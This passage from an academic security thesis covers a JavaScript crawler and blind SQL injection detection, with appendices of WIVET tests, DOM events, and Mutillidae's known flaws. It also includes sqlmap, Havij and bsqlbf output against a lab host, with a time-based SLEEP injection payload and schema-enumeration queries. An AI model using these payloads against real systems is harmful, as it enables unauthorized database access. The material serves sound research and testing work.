a JavaScript-based crawler, and placing it closer to the web application than most other

tools on the market, we found that we were able to achieve promising results (a WIVET

coverage rate of 77%), and observed that with a little more research in the right direction,

can compete with those high-end commercial tools on the market. We also focused on limi-

tations incurred from the disability when detecting blind SQL injection vulnerabilities. By

designing and implementing an algorithm for detection, we were able to detect all blind SQL

injections present in the Mutillidae project, with one false positive. Finally, we shed light

on an advanced technique for exploiting blind SQL injection vulnerabilities. In doing so, we

have shown that our tool performs better than competing tools with respect to the amount

of resources needed for a successful exploitation.

Even though we have shown improvements over some areas of limitations, we expect to

add to our improvements in the future. The first area which we plan on extending is our

crawler. Currently, our crawler does not contain the ability to handle form submissions.
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Handling form submissions can add a level of complexity to the crawling process due to

certain application-specific issues which can arise (such as login-forms, fields which require

special formatted data, fields which can not be left blank, mutually exclusive fields, etc.) In

the future, we plan on examining an efficient method on handling form submissions.

The second area which we would like to extend is related to our blind SQL injection

detection approach. Currently, our detection method is fit for identifying SELECT-based

blind SQL injections where the injection is taken place in the WHERE-clause. We would like

to extend our detection method to include vulnerabilities in which the portion of the query

is not restrained. We would also like to explore ways to detect UPDATE and INSERT based

injections.

Finally, in our blind SQL injection detection method, we are using the unified-diff method

for identifying token values. While the validity of this token value does not have any impact

on our detection method, the ultimate goal for this token value is to be used in an exploitation

scenario. Because of this, using the unified-diff algorithm may cause for the identification

of invalid tokens. We plan on researching methods of fuzzing string searching as a means of

replacing the unified-diff approach for token identification.
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Appendix A

WIVET Crawling and Link

Extraction Tests

link creation after some time w/ setTimeout

link creation after button click

self referencing link

self referencing link with random query string

multi-page form with a single path to final destination

link href js protocol

div onmouseover window.open

form submit thru select onchange w/ simple alert

form submit button onclick

link in html comment

relative link in html comment

span onclick window.location

span onmouseout window.location.href

span onmousedown document.location.href

span onmouseup document.location

p onclick window.location.href

p onmouseout window.location.href

p onmousedown window.location.href

p onmouseup window.location.href

div onclick window.location.href

div onmouseout window.location.href

div onmousedown window.location.href
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div onmouseup window.location.href

td onclick window.location.href

td onmouseout window.location.href

td onmousedown window.location.href

td onmouseup window.location.href

tr onclick window.location.href

tr onmouseout window.location.href

tr onmousedown window.location.href

tr onmouseup window.location.href

li onclick window.location.href

li onmouseout window.location.href

li onmousedown window.location.href

li onmouseup window.location.href

radio onclick window.location.href

unattached js function document.location

link href js protocol window.location w/ alert override

link href jquery

a href javascript protocol window.open

iframe

frame created dynamically

iframe created dynamically

xhr initiating

link created thru xhr response

meta refresh tag

form action with javascript protocol set

302 redirection

302 redirection link in response body

xhr with a busy mode page 1

xhr with a busy mode page 2

heavy js library standard form creation

link attached to a swf simple button onclick event

link attached to a swf simple button parameterized onclick event

html encoded links

protocol relative links

66



Appendix B

List of DOM Events

B.1 Standard W3C Defined DOM Events

onclick

ondblclick

onmousedown

onmouseup

onmouseover

onmousemove

onmouseout

onkeydown

onkeypress

onkeyup

onload

onunload

onabort

onerror

onresize

onscroll

onselect

onchange

onsubmit

onreset

onfocus

onblur
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B.2 Mozilla Defined DOM Events (XUL elements)

DOMMouseScroll

DOMMenuItemActive

DOMMenuItemInactive

ondragdrop

ondragenter

ondragexit

ondraggesture

ondragover

onclose

oncommand

oninput

oncontextmenu

onoverflow

onoverflowchanged

onunderflow

onpopuphidden

onpopuphiding

onpopupshowing

onpopupshown

onload

onbroadcast

oncommandupdate

B.3 Microsoft Defined DOM Events (Internet Explorer)

oncut

oncopy

onpaste

onbeforecut

onbeforecopy

onbeforepaste

onafterupdate

onbeforeupdate

oncellchange

ondataavailable

ondatasetchanged
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ondatasetcomplete

onerrorupdate

onrowenter

onrowexit

onrowsdelete

onrowinserted

oncontextmenu

ondrag

ondragstart

ondragenter

ondragover

ondragleave

ondragend

ondrop

onselectstart

onhelp

onbeforeunload

onstop

onbeforeeditfocus

onstart

onfinish

onbounce

onbeforeprint

onafterprint

onpropertychange

onfilterchange

onreadystatechange

onlosecapture
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Appendix C

Performance Evaluation Output

C.1 Sqlmap Output

sqlmap/0.9 − automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net

[∗] starting at: 20:11:49

[20:11:49] [INFO] using ’/home/jiva/tools/sqlmap/sqlmap/output/10.0.1.55/session’ as session file
[20:11:49] [INFO] resuming injection data from session file
[20:11:49] [INFO] resuming back−end DBMS ’mysql 5.0.11’ from session file
[20:11:49] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
−−−
Place: GET
Parameter: emp

Type: AND/OR time−based blind
Title: MySQL > 5.0.11 AND time−based blind
Payload: emp=Jim’ AND SLEEP(5) AND ’xLoq’=’xLoq

−−−

[20:11:49] [INFO] the back−end DBMS is MySQL
web server operating system: Linux Ubuntu 10.10 (Maverick Meerkat)
web application technology: PHP 5.3.3, Apache 2.2.16
back−end DBMS: MySQL 5.0.11
[20:11:49] [INFO] fetching database names
[20:11:49] [INFO] fetching number of databases
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[20:11:49] [WARNING] time−based comparison needs larger statistical model. Making a few dummy
requests, please wait..

2
[20:12:00] [INFO] retrieved:
[20:12:05] [WARNING] adjusting time delay to 1 second
information schema
[20:17:56] [INFO] retrieved: the office
available databases [2]:
[∗] information schema
[∗] the office

[20:18:36] [INFO] Fetched data logged to text files under ’/home/jiva/tools/sqlmap/sqlmap/output
/10.0.1.55’

[∗] shutting down at: 20:18:36

C.2 Havij Output

Length of ’Data Base’ is 18
Data Base: inf?rmation sciema
Length of ’Data Base’ is 10
Data Base: the office
Can not get Length of ’Data Base’

C.3 Bsqlbf Output

// Blind SQL injection brute forcer \\
//originally written by...aramosf@514.es \\

// mofified by sid−at−notsosecure.com \\
// http://www.notsosecure.com \\
−−[ http options ]−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−

schema: http host: 10.0.1.55
method: GET useragent: bsqlbf 2.7
path: /sqli/blind/index.php

arg[1]: emp = Jim’
cookies: (null)

proxy host: (null)
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time: 0 sec (default)

Finding Length of SQL Query....

−−[ blind sql injection options ]−−−−−−−−−−−−−−−−−
blind: (last) emp start: (null)

database: 1 type: 0
length: 57bytes sql: select group concat(schema name) from information schema.schemata

match: Yes
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−

Getting Data...
results:information schema,the office
select group concat(schema name) from information schema.schemata = information schema,

the office
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Appendix D

Vulnerabilities in Mutillidae

Note: Pages marked with a * are common. This means their vulnerabilities will appear

on most pages.

add−to−your−blog.php
SQL Injection on blog entry
SQL Injection on logged in user name
Cross site scripting on blog entry
Cross site scripting on logged in user name
Log injection on logged in user name
CSRF
JavaScript validation bypass
XSS in the form title via logged in username
The show−hints cookie can be changed by user to enable hints even though they are not

suppose to show in secure mode

arbitrary−file−inclusion.php
System file compromise
Load any page from any site

browser−info.php
XSS via referer HTTP header
JS Injection via referer HTTP header
XSS via user−agent string HTTP header

closedb.inc∗
No known vulnerabilities. We should add something.
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config.inc∗
Contains unencrytped database credentials

credits.php
Unvalidated Redirects and Forwards

dns−lookup.php
Cross site scripting on the host/ip field
O/S Command injection on the host/ip field
This page writes to the log. SQLi and XSS on the log are possible
GET for POST is possible because only reading POSTed variables is not enforced.

footer.php∗
Cross site scripting via the HTTP USER AGENT HTTP header.

framing.php
Click−jacking

header.php∗
XSS via logged in user name and signature
The Setup/reset the DB menu item canbe enabled by setting the uid value of the cookie to 1
home.html
No known vulnerabilities. We should add something.

homenotes.php
No known vulnerabilities. We should add something.

index.php∗
You can XSS the hints−enabled output in the menu because it takes input from the hints−

enabled cookie value.
You can SQL injection the UID cookie value because it is used to do a lookup
You can change your rank to admin by altering the UID value
HTTP Response Splitting via the logged in user name because it is used to create an HTTP

Header
This page is responsible for cache−control but fails to do so
This page allows the X−Powered−By HTTP header
HTML comments

installation.php
No known vulnerabilities. We should add something.

log−visit.php
SQL injection and XSS via referer HTTP header
SQL injection and XSS via user−agent string
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login.php
Authentication bypass SQL injection via the username field and password field
SQL injection via the username field and password field
XSS via username field
JavaScript validation bypass

opendb.inc∗
No known vulnerabilities. We should add something.

page−not−found.php
No known vulnerabilities. We should add something.
This page is only used in secure mode. In insecure mode, the site does not validate the ”page

” parameter.

password−generator.php
JavaScript injection

process−commands.php
Creates cookies but does not make them HTML only

process−login−attempt.php
Same as login.php. This is the action page.

redirectandlog.php
Same as credits.php. This is the action page.

register.php
SQL injection and XSS via the username, signature and password field

robot.txt
Contains directories that are supposed to be private.

set−background−color.php
Cascading style sheet injection and XSS via the color field.

setupreset.php
No known vulnerabilities. We should add something.

show−log.php
Denial of Service if you fill up the log
XSS via the hostname, client IP, browser HTTP header, Referer HTTP header, and date

fields.

site−footer−xss−discusson.php
XSS via the user agent string HTTP header
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source−viewer.php
Loading of any arbitrary file including operating system files.

text−file−viewer.php
Loading of any arbitrary web page on the Interet or locally including the sites password files.
Phishing

user−info.php
SQL injection to dump all usernames and passwords via the username field or the password

field
XSS via any of the displayed fields. Inject the XSS on the register.php page.
XSS via the username feild

user−poll.php
Parameter pollution
GET for POST
XSS via the choice parameter
Cross site request forgery to force user choice

view−someones−blog.php
XSS via any of the displayed fields. They are input on the add to your blog page.
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